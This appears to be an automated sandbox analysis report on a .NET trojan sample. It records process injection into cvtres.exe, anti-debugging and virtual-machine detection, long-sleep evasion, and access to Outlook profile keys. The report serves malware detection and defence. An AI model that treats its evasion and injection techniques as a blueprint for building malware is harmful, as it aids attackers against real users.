Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A4390	1_2_014A4390
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A43A0	1_2_014A43A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A525A	1_2_014A525A
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A9E68	1_2_014A9E68
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A5ED8	1_2_014A5ED8
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A5E85	1_2_014A5E85
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014ADAA9	1_2_014ADAA9
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A6EB0	1_2_014A6EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_054D8BB0	4_2_054D8BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_054DF080	4_2_054DF080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_054DF3C8	4_2_054DF3C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_054D6120	4_2_054D6120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AF2A58	4_2_09AF2A58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AFBCF0	4_2_09AFBCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AF1FF8	4_2_09AF1FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AF0040	4_2_09AF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AFC428	4_2_09AFC428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AFB6C9	4_2_09AFB6C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8AAE90	4_2_0A8AAE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A73D0	4_2_0A8A73D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A1FC0	4_2_0A8A1FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A44F8	4_2_0A8A44F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0AB5E320	4_2_0AB5E320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0AB570E0	4_2_0AB570E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0AB519B0	4_2_0AB519B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Code function: String function: 09AF5A58 appears 34 times

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.431461693.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRTmykTJsYGNhcLtpIFpFmzfqYxFnyHj.exe4 vs SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.430657010.000000000123B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRTmykTJsYGNhcLtpIFpFmzfqYxFnyHj.exe4 vs SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000000.422673745.0000000000B8D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNBCBNCXHJKDJHD23442.exeH vs SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Binary or memory string: OriginalFilenameNBCBNCXHJKDJHD23442.exeH vs SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Virustotal: Detection: 38%
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	ReversingLabs: Detection: 30%

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/1@2/1

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: 4.0.cvtres.exe.400000.4.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.cvtres.exe.400000.4.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.cvtres.exe.400000.0.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.cvtres.exe.400000.0.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.cvtres.exe.400000.2.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.0.cvtres.exe.400000.2.unpack, A/F1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NBCBNCXHJKDJHD23442.pdbD source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
Source:	Binary string: NBCBNCXHJKDJHD23442.pdb source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_00B4231F pushad ; ret	1_2_00B42320
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_00B4796F push 00000020h; retf	1_2_00B4797A
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Code function: 1_2_014A6236 push es; iretd	1_2_014A6237
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AFA01A push 8B000005h; retf	4_2_09AFA01F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_09AFF538 pushad ; ret	4_2_09AFF539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A128A pushfd ; iretd	4_2_0A8A128B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A122D pushad ; iretd	4_2_0A8A122E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A13EA pushad ; iretd	4_2_0A8A13EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A1372 push esp; iretd	4_2_0A8A1373
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A10EE pushfd ; iretd	4_2_0A8A10EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A102B pushad ; iretd	4_2_0A8A102C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 4_2_0A8A1482 pushfd ; iretd	4_2_0A8A1483

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Static PE information: real checksum: 0x5d486 should be: 0x60a28

Source: initial sample

Static PE information: section name: .text entropy: 7.673868780802566

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe TID: 6960	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7112	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe TID: 7116	Thread sleep count: 9477 > 30	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Window / User API: threadDelayed 9477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: cvtres.exe, 00000004.00000002.691765963.000000000A550000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Code function: 1_2_014AD5D0 CheckRemoteDebuggerPresent,

1_2_014AD5D0

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Code function: 4_2_0A8A73D0 LdrInitializeThunk,

4_2_0A8A73D0

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 436000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 438000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 4E6A008	Jump to behavior

.NET source code references suspicious native API functions

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, u206b????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'GetProcAddress@kernel32'), ('?????????????????????????????????????????', 'LoadLibraryA@kernel32')
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, u200c????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'OpenProcess@kernel32.dll'), ('????????????????????????????????????????', 'GetProcAddress@kernel32.dll'), ('?????????????????????????????????????????', 'LoadLibrary@kernel32.dll'), ('?????????????????????????????????????????', 'GetProcAddress@kernel32.dll')
Source: 4.0.cvtres.exe.400000.4.unpack, A/E1.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')
Source: 4.0.cvtres.exe.400000.0.unpack, A/E1.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')
Source: 4.0.cvtres.exe.400000.2.unpack, A/E1.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')
Source: 4.0.cvtres.exe.400000.3.unpack, A/E1.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')
Source: 4.0.cvtres.exe.400000.1.unpack, A/E1.cs	Reference to suspicious API methods: ('A', 'MapVirtualKey@user32.dll')

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe base: 400000 value starts with: 4D5A

Jump to behavior

